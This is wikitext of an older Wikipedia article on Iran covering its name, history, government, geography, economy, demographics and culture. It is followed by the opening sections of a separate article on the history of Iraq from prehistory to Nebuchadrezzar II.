Until 1935, the country was referred to in the [[Western world|West]] as '''[[Persian Empire|Persia]]''', although Iranians since the [[Sassanid Empire|Sassanian]] period have referred to their country as ''Iran'' which means ''Land of the [[Aryan#Iranian|Aryans]]'' &lt;ref&gt;http://www.bartleby.com/61/99/A0449900.html&lt;/ref&gt; &lt;ref&gt;http://www.nvtc.gov/lotw/months/february/indoIranianBranch.html&lt;/ref&gt; &lt;ref&gt;http://imp.lss.wisc.edu/~aoliai/languagepage/iranianlanguages.htm&lt;/ref&gt;. On [[March 21]] [[1935]] [[Reza Pahlavi|Reza Shah Pahlavi]] issued a decree asking foreign delegates to use the native term ''Iran'' in formal correspondence. &lt;ref&gt;http://www.cais-soas.com/CAIS/Iran/persia_or_iran.htm&lt;/ref&gt; [[Iran naming dispute|A dispute exists]] about the country's current official name. After Persian scholars protested, [[Mohammad Reza Shah]] in 1959 announced both ''Persia'' and ''Iran'' could be used interchangeably. The [[Iranian Revolution]] of 1979 ultimately led to the establishment of a [[theocratic]] [[Islamic Republic]] and the country retained its name, while its political title was changed to the ''Islamic Republic of Iran''.

==History==
{{main|History of Iran}}
[[Image:Takht-jamshid.jpg|thumb|left|250px|The 2500 year old ruins of [[Persepolis]].]]

Written history in Iran begins with the [[Proto-Elamite]]s around [[3000 BCE]], and continues with the arrival of the [[Aryans]] and the establishment of the [[Median dynasty]], followed by the [[Achaemenid]]s, who built the [[Persian Empire|world's first global empire]], under [[Cyrus the Great]] in [[546 BCE]]. The name '''Persia''' is derived from ''Persis'', the ancient [[Greek language|Greek]] name for the empire, although [[Eratosthenes]] also mentions the name '''Iran.''' [[Alexander the Great]] conquered Persia in [[331 BCE]], soon only to be succeeded by the [[Parthia|Parthian]] and [[Sassanid dynasty|Sassanid]] dynasties, who followed the [[Achaemenid]]s as Persia's greatest pre-[[Islamic]] empires. 

The [[Middle Ages]] saw the unfolding of many critical events such as the [[Islamic Conquest of Iran]], the destruction of Iran under the [[Military advances of Genghis Khan|Mongol invasion]] beginning in 1220, the conquest of [[Tamerlane]], and the establishment of Iran's first [[Shi'a]] [[Islam|Islamic]] state under the [[Safavids|Safavid dynasty]] in 1501. From then on Persia increasingly became the arena for rival colonial powers such as [[Russia]] and the [[United Kingdom]]. With the arrival of [[modernization]] in the late [[19th century]], Iranians longed for a change and thus the [[Persian Constitutional Revolution]] of 1905/1911 followed.

[[Image:Mahan asemoon.jpg|thumb|right|[[9th century|9th]]-[[11th century|11th]] century Persia was at the center of what came to be known as the [[Golden Age of Islam]].]]

In 1953 Iran's [[prime minister]] Dr. [[Mohammed Mossadegh]], was removed from power in a plot orchestrated by British and [[United States|U.S.]] intelligence agencies to protect their oil interests (''dubbed &quot;[[Operation Ajax]]&quot;''). The operation was conducted following the Prime-Minister's [[nationalization]] of the [[Anglo-Iranian Oil Company]]. It reinstated the Iranian monarchy, handing power back to former Shah [[Mohammad Reza Pahlavi of Iran|Mohammad Reza Pahlavi]].

Following Dr. Mosaddegh's fall, the [[Mohammad Reza Pahlavi of Iran|Shah]]'s rule became increasingly [[dictator]]ial, particularly in the late [[1970s]]. With strong support from the [[United States|USA]] and the [[United Kingdom|UK]], the Shah further modernized Iranian industry but crushed [[civil liberties]]. His [[autocracy|autocratic]] rule led to the [[Iranian revolution]] in 1979. An [[Islamic republic]] was soon established under the [[Ayatollah Khomeini]].

The new [[theocracy|theocratic]] political system instituted some [[conservative]] Islamic [[reforms]] as well as introducing an unprecedented level of direct [[cleric]]al rule. It also engaged in an anti-Western course due to Western support of the Shah. In particular Iranian-American relations were severely strained after the [[Iran hostage crisis|Iranian seizure of U.S. embassy personnel in 1979]], Iran's subsequent attempts to export its revolution, and its support of anti-Western militant groups such as [[Hezbollah|Lebanese Hezbollah]].

In 1980 Iran was attacked by neighbouring [[Iraq]] and the destructive [[Iran-Iraq War]] continued until 1988. The struggle between the reformists and conservatives over the future of the country continues today through [[electoral]] politics and was a central Western focus in the 2005 elections where conservative candidate [[Mahmoud Ahmadinejad]] triumphed.

== Government and Politics ==
{{main|Politics of Iran}}

Iran is a [[constitutional]] Islamic [[Republic]], whose political system is laid out in the 1979 [[constitution]] called ''Qanun-e Asasi'' (literally 'Basic Law'). Iran's makeup has several intricately connected governing bodies, some of which are [[democratic]]ally elected and some of which operate by co-opting people based on their religious inclinations.

====The Supreme Leader====
[[Image:Azadi1.jpg|thumb|right|[[Azadi Tower]] ''(&quot;Tower of Freedom&quot;)'']]

The concept of ''[[velayat-e faqih]]'' (guardianship of the [[jurist]]) plays a crucial role in the governmental structure of Iran. &lt;ref&gt;http://www.kadivar.com/Htm/English/Papers/Velayat-e%20Faghih.htm&lt;/ref&gt; According to the Constitution, the [[Supreme Leader|Supreme Leader of Iran]] is responsible for the delineation and supervision of &quot;the general policies of the Islamic Republic of Iran.&quot; In the absence of a single leader, a council of religious leaders is appointed. The Supreme Leader is ''commander-in-chief'' of the armed forces and controls the Islamic Republic's intelligence and security operations; he alone can declare war. He has the power to appoint and dismiss the leaders of the judiciary, the state radio and television networks, and the supreme commander of the ''[[Islamic Revolutionary Guard Corps]].'' He also appoints six of the twelve members of the [[Council of Guardians]]. He, or the council of religious leaders, are elected by the ''Assembly of Experts'', on the basis of their qualifications and the high popular esteem in which they are held. &lt;ref&gt;http://countrystudies.us/iran/81.htm&lt;/ref&gt;  The Supreme Leader is arguably an elected monarch (see [[elective monarchy]]), by the definition of that term.

====The President====
The [[President of Iran]] is responsible for implementing the Constitution and acting as the head of the executive, except in matters directly concerned with (the office of) the Leadership. According to the law, all presidential candidates must be approved by the [[Council of Guardians]] prior to running, after which he is elected by [[universal suffrage]] to a four-year term by an absolute majority of votes. After his election, the president appoints and supervises the [[List of current Iranian officials|''Council of Ministers'' (the  cabinet)]], coordinates government decisions, and selects government policies to be placed before the Parliament. Eight vice presidents serve under the president, as well as a cabinet of twenty-one ministers. The Council of Ministers must be confirmed by Parliament. Unlike many other states, the executive branch in Iran does not control the armed forces.

====The Parliament (''The Majles'')====
[[Image:Jalaseh Majles.jpg|right|thumb|[[Majlis of Iran|Parliament]] of The Islamic Republic of Iran.]]

The [[unicameral]] [[Majlis of Iran|Iranian parliament]], the Islamic Consultative Assembly or &quot;Majles-e Shura-ye Eslami&quot;, consists of 290 members elected to a four-year term. The members are elected by direct and [[secret ballot]]. It drafts [[legislation]], ratifies international [[treaties]], and approves the country's budget. All [[Member of Parliament|MP]] candidates and all legislation from the assembly must be approved by the [[Council of Guardians]].

====The Assembly of Experts====
The [[Assembly of Experts]], which meets for one week every year, consists of eighty-six &quot;virtuous and learned&quot; [[Cleric|clerics]] elected by the public to eight-year terms. Like presidential and parliamentary elections, the [[Council of Guardians]] determines eligibility to run for a seat in this assembly. 

Members of the Assembly of Experts in turn elect the [[Supreme Leader]]. The assembly has never been known to challenge any of the Supreme Leader's decisions, although according to the Iranian constitution it has the authority to remove the Supreme Leader from power at any time.

====The Council of Guardians====
Twelve jurists comprise the [[Council of Guardians]], six of whom are appointed by the Supreme Leader. The head of the judiciary recommends the remaining six, which are officially appointed by [[Majles|Parliament]]. 

The Council of Guardians is vested with the authority to interpret the constitution and determines if the laws passed by Parliament are in line with ''[[sharia]]'' (Islamic law). Hence the council can exercise [[veto power]] over Parliament. If a law passed by Parliament is deemed incompatible with the ''constitution'' or ''sharia'', it is referred back to Parliament for revision.

====The Expediency Council====
The [[Expediency Discernment Council|Expediency Council]] has the authority to mediate disputes between Parliament and the Council of Guardians, and serves as an advisory body to the Supreme Leader, making it one of the most powerful governing bodies in the country.

====The Judiciary====
{{main|Judicial system of Iran}}

The head of the Judiciary is appointed by the Supreme Leader, who in turn appoints the head of the Supreme Court and the chief public prosecutor. 

Public courts deal with civil and criminal cases. &quot;Revolutionary&quot; courts try certain categories of offenses, including crimes against [[national security]]. Decisions rendered in revolutionary courts are final and cannot be appealed. 

The Special Clerical Court handles crimes allegedly committed by [[cleric]]s, although it has also taken on cases involving [[lay people]]. The rulings of the Special Clerical Court, which functions independently of the regular judicial framework and is accountable only to the Supreme Leader, are also final and cannot be appealed.

==Geography==
{{main|Geography of Iran}}
[[Image:Iran map.png|framed|Map of Iran]]

Iran borders [[Azerbaijan]] (length of border: 432 km / 268 mi) and [[Armenia]] (35 km / 22 mi) to the northwest, the [[Caspian Sea]] to the north, [[Turkmenistan]] (992 km / 616 mi) to the northeast, [[Pakistan]] (909 km / 565 mi) and [[Afghanistan]] (936 km / 582 mi) to the east, [[Turkey]] (499 km / 310 mi) and [[Iraq]] (1,458 km / 906 mi) to the west, and finally the waters of the [[Persian Gulf]] and the [[Gulf of Oman]] to the south. Iran's total land mass is 1,648,000 km² / ≈636,300 mi² (Land: 1,636,000 km² / ≈631,663 mi², Water: 12,000 km² / ≈4,633 mi²). That is approximately the land mass of [[Alaska]].

Iran's landscape is dominated by rugged [[mountain range]]s that separate various [[Basin|basins]] or [[Plateau|plateaus]] from one another. The populous western part is the most mountainous, with ranges such as the [[Caucasus Mountains|Caucasus]], [[Zagros Mountains|Zagros]] and [[Alborz]] Mountains, the latter of which also contains Iran's highest point, the [[Mount Damavand|Damavand]] at 5,604 m (18,386 ft). The eastern half consists mostly of uninhabited [[desert]] basins like the saline [[Dasht-e Kavir]], with the occasional [[salt lake]]. 

[[Image:Damavand.jpg|left|thumb|Iran's highest mountain, [[Mount Damavand]], standing at 5604 m.]]

The only large [[plain|plains]] are found along the coast of the [[Caspian Sea]] and at the northern end of the [[Persian Gulf]], where Iran borders on the mouth of the [[Arvand]] river (''[[Shatt al-Arab]]''). Smaller, discontinuous plains are found along the remaining coast of the Persian Gulf, the [[Strait of Hormuz]] and the [[Sea of Oman]]. The Iranian [[climate]] is mostly [[arid]] or [[semiarid]], though [[subtropical]] along the Caspian coast. Iran is considered to be one of the fifteen states that comprise the so-called &quot;[[Cradle of Humanity]]&quot;.

===Climate===
[[Image:Dena-kuh.jpg|thumb|right|The [[Zagros Mountains]] are Iran's second largest range in territory. Dena mountain, rises 4359 m.]]

Iran's landscape produces several different [[climate]]s. On the northern edge of the country (the Caspian coastal plain) the temperatures nearly fall below freezing and remain humid for the rest of the year. Summer temperatures rarely exceed 29°C (84°F). Annual precipitation is 680 mm (26 in) in the eastern part of the plain and more than 1700 mm (75 in) in the western side of the plain. To the west, settlements in the Zagros mountains basin experience lower temperatures. These areas have severe winters, with average daily temperatures below freezing and have heavy snowfall. The eastern and central basins are arid. They get less than 200 mm (8 in) of rain and have occasional desert. The average summer temperatures exceed 38°C (100°F). The coastal plains of the Persian Gulf and Gulf of Oman in southern Iran have mild winters and experience very humid and hot summers. The annual precipitation ranges from 135 mm to 355 mm (6 to 14 in).

== Provinces ==
{{main|Provinces of Iran}}

Iran consists of 30 [[province]]s:
{| border=&quot;0&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; align=&quot;center&quot;
|
#[[Tehran Province|Tehran]]
#[[Qom Province|Qom]]
#[[Markazi]]
#[[Qazvin Province|Qazvin]]
#[[Gilan]]
#[[Ardabil Province|Ardabil]]
#[[Zanjan Province|Zanjan]]
#[[East Azarbaijan]]
#[[West Azarbaijan]]
#[[Kurdistan Province, Iran|Kurdistan]]
#[[Hamadan Province|Hamadan]]
#[[Kermanshah Province|Kermanshah]]
#[[Ilam Province|Ilam]]
#[[Lorestan]]
#[[Khuzestan]]
||
&lt;ol start=16&gt;
&lt;li&gt;[[Chahar Mahaal and Bakhtiari]]
&lt;li&gt;[[Kohkiluyeh and Buyer Ahmad]]
&lt;li&gt;[[Bushehr Province|Bushehr]]
&lt;li&gt;[[Fars]]
&lt;li&gt;[[Hormozgan]]
&lt;li&gt;[[Sistan and Baluchistan]]
&lt;li&gt;[[Kerman Province|Kerman]]
&lt;li&gt;[[Yazd Province|Yazd]]
&lt;li&gt;[[Esfahan Province|Esfahan]]
&lt;li&gt;[[Semnan Province|Semnan]]
&lt;li&gt;[[Mazandaran]]
&lt;li&gt;[[Golestan]]
&lt;li&gt;[[North Khorasan]]
&lt;li&gt;[[Razavi Khorasan]]
&lt;li&gt;[[South Khorasan]]
||[[Image:IranNumbered.png|300px|Numbered map of provinces]]
|}
The islands of Iran are not shown in this picture. These islands belong to the province &quot;Hormozgan&quot;.

==Economy==
{{main|Economy of Iran}}
[[Image:1000tomani.jpg|thumb|left|300px|The ''[[Iranian rial|Rial]]'' is Iran's official currency.]]

Iran's economy is a mixture of [[central planning]], [[state ownership]] of [[petroleum|oil]] and other large [[Enterprise|enterprises]], village [[agriculture]], and small-scale [[private trading]] and service ventures. The current [[administration]] has continued to follow the market reform plans of the previous one and has indicated that it will pursue diversification of Iran's oil-reliant economy. The Iranian government is attempting to diversify by [[Investment|investing]] revenues in other areas, including, [[car]] [[manufacturing]], [[aerospace]] industries, consumer [[electronics]], [[Petrochemical|petrochemicals]] and [[nuclear technology]]. Iran is also hoping to attract billions of dollars worth of [[foreign investment]] by creating a more favorable investment climate, such as reduced restrictions and duties on imports and the creation of free-trade zones like in [[Chabahar]] and the island of [[Kish]]. Modern Iran has a solid [[middle class]] and a growing economy but continues to be plagued with high [[inflation]] and [[unemployment]]. 

Iranian budget deficits have been a chronic problem, in part due to large-scale state subsidies&amp;ndash; totaling some $7.25 billion per year&amp;ndash;including [[foodstuffs]] and especially [[gasoline]].

[[Image:Elahiyeh.jpg|thumb|right|The towering [[Alborz]] mountains in Tehran rising above modern high rises of the [[Elahiyeh]] district.]]

Iran is [[OPEC]]'s second largest oil producer and holds 10% of the world's proven oil reserves. It also has the world's second largest [[natural gas]] reserves (after [[Russia]]). The strong oil market in 1996 helped ease financial pressures on Iran and allowed for Tehran's timely debt service payments. 

[[Image:Meydoon sadeghiyeh.jpg|left|thumb|A busy commercial street in Tehran.]]

State investment has boosted [[agriculture]] with the [[liberalization]] of production and the improvement of packaging and marketing helping to develop new export markets. Large-scale [[irrigation]] schemes, together with the wider production of export-based agricultural items such as [[date palm|dates]], [[Flower|flowers]] and [[Pistachio|pistachios]], produced the fastest economic growth of any sector in Iran over much of the [[1990s]].  Even though a series of [[drought]]s has held back output growth substantially, [[agriculture]] remains one of the largest employers. Iran has also developed a [[biotechnology]], [[nanotechnology]] and [[pharmaceuticals]] industry.

Iran's major commercial partners are [[France]], [[Germany]], [[Italy]], [[Spain]], [[Russia]], [[China]], [[Japan]] and [[South Korea]]. Since the late 1990's, Iran has increased its economic cooperation with other developing countries, including [[Syria]], [[India]], [[Cuba]], [[Venezuela]] and [[South Africa]]. Iran is also expanding its trade ties with [[Turkey]] and [[Pakistan]] and shares with its partners the common vision for the creation of a single economic market in West and Central [[Asia]].

==Demographics==
{{main|Demographics of Iran}}

===Ethnic groups===
[[Image:Iran peoples.jpg|thumb|right|250px|Ethnic groups in Iran]]

The majority of Iran's [[population]] speak one of the [[Iranian languages]], though [[Persian language|Persian]] is the official language. While the number, percentage, and definition of the different Iranian peoples is disputed, the major [[ethnic]] groups and [[Ethnic minorities in Iran|minorities]] in Iran include the [[Persians]] (51%), [[Azeris]] (24%), [[Gilaki and Mazandarani]] (8%), [[Kurds]] (7%), [[Arabs]] (3%), [[Baluchistan|Baluchi]] (2%), [[Lorestan|Lurs]] (2%), [[Turkmen people]] (2%), [[Qashqai]], [[Armenians]], [[Georgians]], [[Assyrian people|Assyrians]],  [[Circassians]], [[Persian Jews|Iranian Jews]],and others (1%). These percentages however are only old estimates. There are no official statistics on [[ethnicity]] numbers or percentages in Iran.&lt;ref name=&quot;factbook&quot;&gt;http://cia.gov/cia/publications/factbook/geos/ir.html&lt;/ref&gt;. The literacy rate in Iran is above 89% and closer to 100% for its younger population.

Iran's population size increased dramatically during the latter half of the [[20th century]] to reach 70 million in 2006, although in recent years Iran appears to have taken control of its high population growth rate and many studies show that Iran's population growth rate will continue to decline until it will reach replacement level and stabilize by the year 2050 (100 million). Iran's [[population density]] is forty persons per square kilometer. &lt;ref&gt;http://www.census.gov/cgi-bin/ipc/idbsum.pl?cty=IR&lt;/ref&gt; &lt;ref&gt;http://www.un.org/Depts/escap/pop/journal/v10n1a1.htm&lt;/ref&gt; &lt;ref&gt;http://www.payvand.com/news/04/aug/1017.html&lt;/ref&gt; Iran hosts more than one million [[foreign]] [[Refugee|refugees]] (mainly from [[Afghanistan]] with some from [[Iraq]]), one of the largest figures on [[Earth|earth]], and official government policy and social factors aim towards [[repatriation]]. &lt;ref&gt;http://news.bbc.co.uk/2/hi/middle_east/3971711.stm&lt;/ref&gt; &lt;ref&gt;http://www.irinnews.org/report.asp?ReportID=48323&amp;SelectRegion=Middle_East&amp;SelectCountry=IRAN&lt;/ref&gt; &lt;ref&gt;http://countrystudies.us/iran/35.htm&lt;/ref&gt;

Inversely, Iran has a [[diaspora]] estimated between two to three million people who emigrated to [[North America]], [[Western Europe]], and [[South America]], for the most part occurring after the [[Iranian revolution]].

[[Image:Iran ethnoreligious distribution 2004.jpg|thumb|right|250px|Map showing ethnic and religous diversity among the population of Iran.]]

===Major Languages===

The number of Persian-speakers of Iran is estimated more than 42 millions, (see: [[Persian people]]) ( [http://www.ethnologue.com/show_country.asp?name=IR Ethnologue] using an obsolete and old information claims that in 1997 there were 22 million native speakers of [[Persian language]] spoken in [[Iran]]). Other major languages in Iran are [[Azeri language|Azeri]] (c. 16.8 million), [[Kurdish language|Kurdish]] (7.6 million) (Northern, Central, Southern and Laki), [[Gilaki]] (3.265 million), [[Mazandarani]] (3.265 million), [[Luri]] (2.375 million), [[Turkmen language|Turkmen]] (2 million), [[Bakhtiari]] (1 million).

===Religion===
Most Iranians are Muslims; 90% belong to the [[Shi'a Islam|Shi'a]] branch of [[Islam]], the official state religion, and about 9% belong to the [[Sunni Islam|Sunni]] branch (many of whom are Kurds). The remainder consists of non-Muslim [[Religious minorities in Iran|religious minorities]], mainly [[Bahá'í Faith|Bahá'ís]], [[Zoroastrianism|Zoroastrians]], [[Persian Jews|Jews]] and [[Christians in Iran|Christians]].&lt;ref name=&quot;factbook&quot;&gt;http://cia.gov/cia/publications/factbook/geos/ir.html&lt;/ref&gt;

The latter three [[minority]] religions are officially recognized and have reserved seats in the ''[[Majles]]'' (Parliament), and are officially protected religions. In contrast, the Bahá'í Faith, the largest religious minority in Iran, is not officially recognized, and has been persecuted during its existence in Iran. Since the 1979 revolution the persecution has increased with executions and the denial of access to higher education. See [[Persecution of Bahá'ís]] and [[Religious minorities in Iran]] for more information.

===Major cities===
Iran's eight largest cities ([[as of 2006|2006]] populations, unless otherwise noted) are as follows (non-metropolitan estimates): &lt;ref&gt;http://www.world-gazetteer.com/wg.php?x=1139346236&amp;geo=-106&amp;men=gcis&amp;lng=en&lt;/ref&gt;

&lt;center&gt;
&lt;gallery&gt;
Image:Milad Tower2.jpg|'''[[Tehran]]''': 7,160,094
Image:Mashad masjed khiyaboon.jpg|'''[[Mashad]]''': 2,837,734
Image:40sotoon.jpg|'''[[Esfahan (city)|Isfahan]]''': 1,573,378
Image:Karaj-top.jpg|'''[[Karaj]]''': 1,523,085
Image:Poets tomb tabriz.jpg|'''[[Tabriz]]''': 1,460,961
Image:Hafez_tomb.jpg|'''[[Shiraz]]''': 1,279,140
Image:GonbadSabz.jpg|'''[[Qom]]''': 1,046,578
Image:Ahvaz-karun.jpg|'''[[Ahvaz]]''': 841,145
&lt;/gallery&gt;
&lt;/center&gt;

==Culture==
{{main|Culture of Iran}}

Iran has a long history of [[art]], [[music]], [[architecture]], [[poetry]], [[philosophy]], [[tradition]]s, and [[ideology]]. Many Iranians believe their culture to be the one and only reason why their civilization has continuously survived thousands of years of turmoil.

[[Image:Mehmooni2.jpg|thumb|right|''Farhang'' (&quot;culture&quot;) has always been the [[focal point]] of Iranian civilization. Most Iranians consider themselves the proud [[Cultural heritage|inheritors]] and [[Guardian|guardians]] of an ancient and sophisticated culture.]]
که ایران بهشت است یا بوستان&lt;br&gt;
همی بوی مشک آید از دوستان

''&quot;Whether one thinks of Iran as [[Garden of Eden|Eden]] or [[Persian Garden|Garden]],''&lt;br&gt;
''The smell of [[musk]] abounds there from friend and companion.&quot;''&lt;br&gt;
--''[[Firdawsi]]''

همه عالم تن است و ایران دل&lt;br&gt;
نیست گوینده زین قیاس خجل

&quot;''Iran is The Heart and all the universe The Body,''&lt;br&gt;
''Of this claim, the poet feels no regret or humility.&quot;''&lt;br&gt;
--''[[Nizami]]'' 

[[Persian literature]] is also highly regarded by both native Persians and foreign scholars. The [[Persian language]] being used for over 2,500 years has left distinct marks in the history of the written word. Because of such poets as [[Hafez]], Molavi([[Rumi]]), [[Nizami]], [[Omar Khayyam]], and [[Ferdowsi]], Iranian poetry has received world-wide attention for their beautiful poems and songs.

With 300 international awards in the past twenty-five years, films from Iran continue to be celebrated worldwide. Perhaps the best known director is [[Abbas Kiarostami]]. All media in Iran are controlled directly or indirectly by the state and must be approved by the [[Ministry of Islamic Guidance]]. This includes the [[Internet]], which has become an expanding means to accessing information and self-expression among the younger population. Iran is now the world's fourth largest country of [[bloggers]].

The quest for [[social justice]] and equity is an important Iranian cultural trait. Respect for the elderly and hospitality for foreigners are also integral an part of [[Iranian etiquette]].

The Iranian new year ([[Norouz]]) is celebrated on [[March 21]], the first day of [[spring (season)|spring]]. Norouz was nominated as one of [[UNESCO]]'s [[Masterpieces of the Oral and Intangible Heritage of Humanity]] in 2004. &lt;ref&gt;http://www.payvand.com/news/04/jul/1090.html&lt;/ref&gt;

In her book, ''New Food of Life'', Najmieh Batmanglij writes that ''&quot;[[Cuisine of Iran|Iranian food]] has much in common with the other cuisines of the [[Middle East]], but is often considered to be the most sophisticated and imaginative of them all, as colorful and complex as a [[Persian carpet]].&quot;''

==Miscellaneous topics==
{{portal}}
{{Iran-related topics}}

==Notes and references==
&lt;div style=&quot;font-size: 90%&quot;&gt;
&lt;references/&gt;
Additional references and bibliography can be found in the more detailed articles linked to in this article.
&lt;/div&gt;

==External links==
===Official Government Links===
The following websites belong to the various branches of government, or are directly operated by the government of the Islamic Republic of Iran.

* [http://www.leader.ir Official site of the Supreme Leader], [http://www.wilayah.org/ (Qom office)]
* [http://www.president.ir Presidency of the Islamic Republic of Iran] - Official website.
* [http://www.irisn.com/ The Council of Guardians], Official website.
* [http://mellat.majlis.ir/ The Majlis], Iran's parliament. [http://www.majlis.ir/ (2)].
* [http://www.iranjudiciary.org/ The Judiciary of The Islamic Republic of Iran]
* [http://www.mfa.gov.ir Ministry of Foreign Affairs]
* [http://www.ershad.gov.ir/ Ministry of Culture and Islamic Guidance]
* [http://www.mod.ir/ Ministry of Defense and Armed Forces]
* [http://www.freezones.ir/ Secretariat of The High Council of Iran Free Trade Industrial Zones]
* [http://www.iranculture.org Secretariat of The High Council of The Cultural Revolution]
* [http://www.spk-gov.ir/ Official Spokesman of the Islamic Republic of Iran]
* [http://www.aeoi.org.ir/ Islamic Republic of Iran Atomic Energy Organization]
* [http://www.iranmiras.ir/ Islamic Republic of Iran Cultural Heritage Organization]
* [http://www.rcs.ir/en Islamic Republic of Iran Red Crescent Society]
* [http://www.irib.com Islamic Republic of Iran Broadcasting], official website.
* [http://www.shahid.ir/ Bonyad e Shahid Foundation]
* [http://www.iran-bonyad.com/ Bonyad e Mostazafeen Foundation]
* [http://www.irtobacco.com/ Iranian Tobacco Company]

===Other links===
{{sisterlinks|Iran}}
* {{wikitravel}}
* [http://www.round-planet.com/en/diaporama.php3?geolevel=2&amp;geoid=149 Slideshows: Iran, from Damavand to Ispahan] 
* [http://www.cais-soas.com  Circle of Ancient Iranian Studies (CAIS)]
* [http://www.cia.gov/cia/publications/factbook/geos/ir.html CIA World Factbook - ''Iran''] 
* [http://www.state.gov/p/nea/ci/c2404.htm U.S. State Department - ''Iran''] includes Background Notes, Country Study and major reports
* [http://dmoz.org/Regional/Middle_East/Iran/ Open Directory Project - ''Iran''] directory category
* [http://www.iranoilgas.com/ Iran Oil and Gas]
* [http://www.iranmilitaryforum.com Iran Military Forum]
* [http://www.ifex.org/en/content/view/full/221/ Freedom of Expression in Iran] - IFEX
* [http://cns.miis.edu/research/wmdme/iran.htm List of alleged weapons]
* [http://www.islam.org.au/articles/24/iran.htm The Dismal Reality of Ahlus Sunnah in Iran ]
* [http://www.thepersiangulf.org Iran, The Persian Gulf] - Iran in the Persian Gulf
* List of [http://www.irpedia.com/iran/touristinfo.php?ID=1203 Iranian High Commissions, embassies and consulates] around the world.
* [http://www.farhangsara.com/  Farhangsara.com] - an independently-produced Iran encyclopedia

; Iran News Sites
* [http://www.Economist.com/countries/Iran Country Briefings: Iran] Economist.com country briefings and news articles.
* [http://www.gooya.com Directory of Iranian online newspapers] Gooya.com
* [http://www.havenworks.com/world/iran Iran News] HavenWorks.com news portal on Iran.
* [http://www.pbs.org/newshour/bb/middle_east/iran Governing Iran] PBS NewsHour special on Iranian politics.
* [http://news.yahoo.com/fc?tmpl=fc&amp;cid=34&amp;in=world&amp;cat=iran Yahoo! News Full Coverage ''Iran''] Yahoo headline links
* [http://www.kargaran-iran.com] kargaran-iran.com  Labor news and views of workers in Iran and exile.
; Iran News Articles
* [http://news.bbc.co.uk/2/shared/spl/hi/middle_east/03/iran_power/html/default.stm BBC News - ''Iran: Who holds the power?'']

{{Southwest Asia}}
{{Middle East}}
{{Asia}}

[[Category:Persian Gulf states]]
[[Category:Iran| ]]
[[Category:Near Eastern countries]]

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[[zh:伊朗]]</text>
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This '''history of Iraq''' includes an overview from prehistory to the present in the region of the current state of [[Iraq]] in [[Mesopotamia]]. See also [[Chronology of the ancient orient]], [[History of the Middle East]], and [[History of Mesopotamia]].

== Prehistory ==
[[Neandertal]]s lived in Iraq about 60,000 years ago; Neanderthal remains include those discovered at the [[Shanidar]] cave.

== Ancient Times ==
For most of historic time, the land area now known as modern Iraq was almost equivalent to [[Mesopotamia]]. The Mesopotamian plain between the two rivers [[Tigris]] and [[Euphrates]] (in Arabic, the Dijla and Furat, respectively), is part of the [[Fertile crescent|Fertile Crescent]]. Many dynasties and empires ruled the Mesopotamia region such as [[Sumer]], [[Akkad]], [[Assyria]] and [[Babylonia]].

===Mesopotamia ===
{{Template:Ancient Mesopotamia}}
It was in Mesopotamia about [[3000 BC]] where the Sumerian culture flourished. The civilized life that emerged at Sumer was shaped by two conflicting factors: the unpredictability of the Tigris and Euphrates rivers, which at any time could unleash devastating floods that wiped out entire peoples, and the extreme richness of the river valleys, caused by centuries-old deposits of soil.

Eventually, the Sumerians had to  battle other peoples. Some of the earliest of these wars were with the [[Elam|Elamites]] living in what is now western Iran. This frontier has been fought over repeatedly ever since; it is arguably the most fought over frontier in the world. Sumerian dominance was challenged by the Akkadians, who migrated up from the Arabian Peninsula. The Akkadians were a [[Semitic]] people, that is, they spoke a language drawn from a family of languages called [[Semitic languages]].

In [[2340 BC]], the great Akkadian leader [[Sargon of Akkad|Sargon]] conquered Sumer and built the [[Akkadian Empire]] stretching over most of the Sumerian city-states and extending as far away as [[Lebanon]]. Sargon based his empire in the city of [[Akkad]], which became the basis of the name of his people.

Sargon's ambitious empire lasted for only short time in the long time spans of Mesopotamian history. In [[2125 BC]], the Sumerian city of [[Ur]] in southern Mesopotamia rose up in revolt, and the Akkadian empire fell before a renewal of Sumerian city-states.

===Post-Sumerian civilizations===
After the later collapse of the Sumerian civilization, the people were reunited in [[1700 BC]] by King [[Hammurabi]] of [[Babylon]] (1792-1750 BC), and the country flourished under the name of Babylonia. Babylonian rule encompassed a huge area covering most of the Tigris-Euphrates river valley from Sumer and the [[Persian Gulf]]. He extended his empire northward through the Tigris and Euphrates River valleys and westward to the coast of the [[Mediterranean Sea]]. After consolidating his gains under a central government at Babylon, he devoted his energies to protecting his frontiers and fostering the internal prosperity of the Empire. Hammurabi's dynasty, otherwise referred to as the First Dynasty of Babylon, ruled for about 200 years, until [[1530 BC]]. Under the reign of this dynasty, [[Babylonia]] entered into a period of extreme prosperity and relative peace.

After Hammurabi's death, however, a tribe known as the [[Kassites]] began to attack Babylonia as early as the period when Hammurabi's son ruled the empire. Over the centuries, Babylonia was weakened by the Kassites. Finally, around 1530 BC (given in some sources as 1570 or 1595 BC), a Kassite Dynasty was set up in Babylonia.

The [[Mitanni]], another culture, were meanwhile building their own powerful empire. They had only temporary importance -- they were very powerful, but were around for only about 150 years. Still, the Mitanni were one of the major empires of this area in this time period, and they came to almost completely control and subjugate the [[Assyrian people|Assyrians]] (who were located directly to the east of Mitanni and to the northwest of Kassite Babylonia).

The Assyrians, after they finally broke free of the Mitanni, were the next major power to assert themselves on Mesopotamia. After defeating and virtually annexing Mitanni, the Assyrians, challenged Babylonia. They weakened Babylonia so much that the Kassite Dynasty fell from power; the Assyrians virtually came to control [[Babylonia]], until revolts in turn deposed them and set up a new dynasty, known as the Second Dynasty of Isin. Nebuchadnezzar I (Nabu-kudurri-usur; c. 1119 BC-c. 1098 BC) was the best known of this dynasty.

Nebuchadnezzar the First added a good deal of land to Babylonia and eventually came to attack Assyria.

===Chaldeans===
Eventually, during the 800s BC, one of the most powerful tribes outside Babylon, the [[Chaldea]]ns (Latin Chaldaeus, Greek Khaldaios, Assyrian Kaldu), gained prominence. The Chaldeans rose to power in Babylonia and, by doing so, seem to have increased the stability and power of Babylonia. They fought off many revolts and aggressors. Chaldean influence was so strong that, during this period, Babylonia came to be known as Chaldea.

In 626 BC, the Chaldeans helped Nabo-Polassar to take power in Babylonia. At that time, Assyria was under considerable pressure from an Iranian people, the [[Medes]] (from [[Medes|Media]]). Nabo-Polassar allied Babylonia with the Medes. [[Assyria]] could not withstand this added pressure, and in 612 BC, [[Nineveh]], the capital of Assyria, fell. The entire city, once the capital of a great empire, was burned and sacked.

===Nebuchadrezzar II of Babylon===
Later, [[Nebuchadrezzar II]] ([[Nabopolassar]]'s son) inherited the empire of Babylonia. He added quite a bit of territory to Babylonia and rebuilt Babylon, still the capital of Babylonia.

